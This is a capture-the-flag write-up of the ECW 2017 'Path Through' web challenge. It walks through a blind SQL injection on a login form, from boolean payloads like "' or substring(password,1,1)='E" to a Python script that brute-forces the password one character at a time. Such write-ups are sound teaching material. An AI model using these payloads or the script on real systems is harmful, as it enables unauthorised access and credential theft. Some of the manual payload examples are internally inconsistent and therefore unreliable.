ECW 2017 - Web - Path Through

The ECW 2017 is a French Jeopardy challenge organized by the “Pôle d’Excellence Cyber” in partnership with the “Région Bretagne”, Airbus and Thalès. Path Through is a web challenge based on blind SQL Injection.

From 06/10 to 22/10 2017, the online challenge is used as a pre-selection for the final Capture The Flag challenge which will start the November 29th 2017 during the European Cyber Week conference in Rennes (France).

Discovery

The challenge starts with an authentication form. We are asked to identify with the admin account. The username isn’t specified mais we are given the following hint “It’s a simple username”… Except the guessing part, we think about “admin” first.

Tests & hypothesis

As long as we only have this form, all the challenge goal remains in the ability to bypass the authentication form in order to access the administration zone.

We try different kind of injections and we make several connexion attempts. We can notice an error message when the credentials couple is invalid.

path_through_1

So, we have a boolean result. Either it’s valid or not. From there, we think about a blind SQL Injection.

The blind SQL Injection is based on the substring() function utilization and the capacity to find the password characters one by one. Let’s suppose that the database column is called “password”, we will test each possible character for it. We want the request to return a true value. To achieve that, we will use the displayed message.

We know that the 4 first flag characters (and so, probably for the password too) are “ECW{” we can imagine that kind of injection :

username=admin&password=' or substring(password,1,1)='E
path_through_2

Ok, that’s now sure, we have a blind SQL Injection. Let’s exploit it !

Exploitation and bypass

In order to succeed in this exploitation, we have 2 solutions. Manual exploitation by trying to guess each character like this :

username=admin&password=' or substring(password,1,2)='C
username=admin&password=' or substring(password,1,3)='W
username=admin&password=' or substring(password,1,4)='E{

Or automate it with a script. This second solution is chosen to accelerate the process. Indeed, a manual exploitation would be tedious. However, we know that the flag is a MD5 hash, so, it’s only composed of “abcdef0123456789”.

Then, we can write a small Python script. Don’t forget to add the security token and a valid cookie so requests can be valid too.

#!/usr/bin/python

#coding: utf-8

import requests
import string
import sys
requests.packages.urllib3.disable_warnings()

## Request needed informations
BASE_URL = "https://challenge-ecw.fr/chals/web100"
PARAMS = {
'username': 'admin',
'password': '',
'nonce' : '58109a1ef582bab83c89b9435d455e527b44736e43d64750604f7c2a3012f404ba282e19278431cad17852fa9475b2a01a8ddf9551d6b6cfaa5fa6311ceddb5a',
}

## Static variables
KEYWORD = "Le mot de passe est le flag."
MAX_PWD_LENGTH = 255
URL = "https://challenge-ecw.fr/chals/web100"
VULNERABLE_PARAM = "password="
INJECTION_USED = "username=admin&password=' or substring(password,1,1)='E"

## Password variables
passwordLength = 37
password = "ECW{"

if __name__ == "__main__":
print("\n#####################################")
print("## Blind SQL Injection ECW 2017 ##")
print("#####################################\n")

print("[+] URL injected : %s" % URL)
print("[+] Vulnerable parameter : %s" % VULNERABLE_PARAM)
print("[+] Injection used : %s" % INJECTION_USED)

print("\n[+] Starting bruteforce\n")

#req = requests.get(url=BASE_URL, verify=False)
#token = req.GET['nonce']
#PARAMS['nonce'] = token

s = requests.Session()

COOKIE = dict(session=".eJwNj8tqwzAQRX-lzNoLx003hi4KstMGZoyLYiHt1NixpUgqJBQ_Qv69szucy1ncBwSbRijhcoMM0m86D1A-4OWHFclxQREmVF1kXnWsXSPINyK4RrYbqTYn2QWSX6_aM29YGPZGaObTTP4jN773GKsNRbUa3850OE7ox9XI6g39eU8CF13UV5TM8hi1vHLbOW5mVNXeHL5jI087VG2hvfEm1hMpM5HHBRUF3h2p6h2eGfzdh1uykQ_Ap7UL_7F9dAnKiw33IQPXQ7kr8uc_UPNP7A.DMdGMg.UMD8szIENKxcuos1Rmk0Zqzd_8s")

for i in range(5, passwordLength):
charset = "abcdef0123456789"
for j in charset:
sys.stdout.write("\r")
sys.stdout.write("[+] Password : %s%c" % (password,j))
sys.stdout.flush()
PARAMS['password'] = "' or substring(password,1,"+ str(i) +")='" + password + j
req = s.post(url=BASE_URL, data=PARAMS, cookies=COOKIE, verify=False)
if KEYWORD in req.text:
password += j
break;

password = password + "}"
print("\n[+] Done\n")
print("[+] Password is %s\n" % password)

Getting the flag

We execute the previous script and…

path_through_3

Great ! We have the flag !

So, challenge presenting a basic blind SQL Injection but nevertheless interesting to learn or refresh knowledge !

References

ECW 2017 - Web - Hall of Fame ECW 2018 - Web - SysIA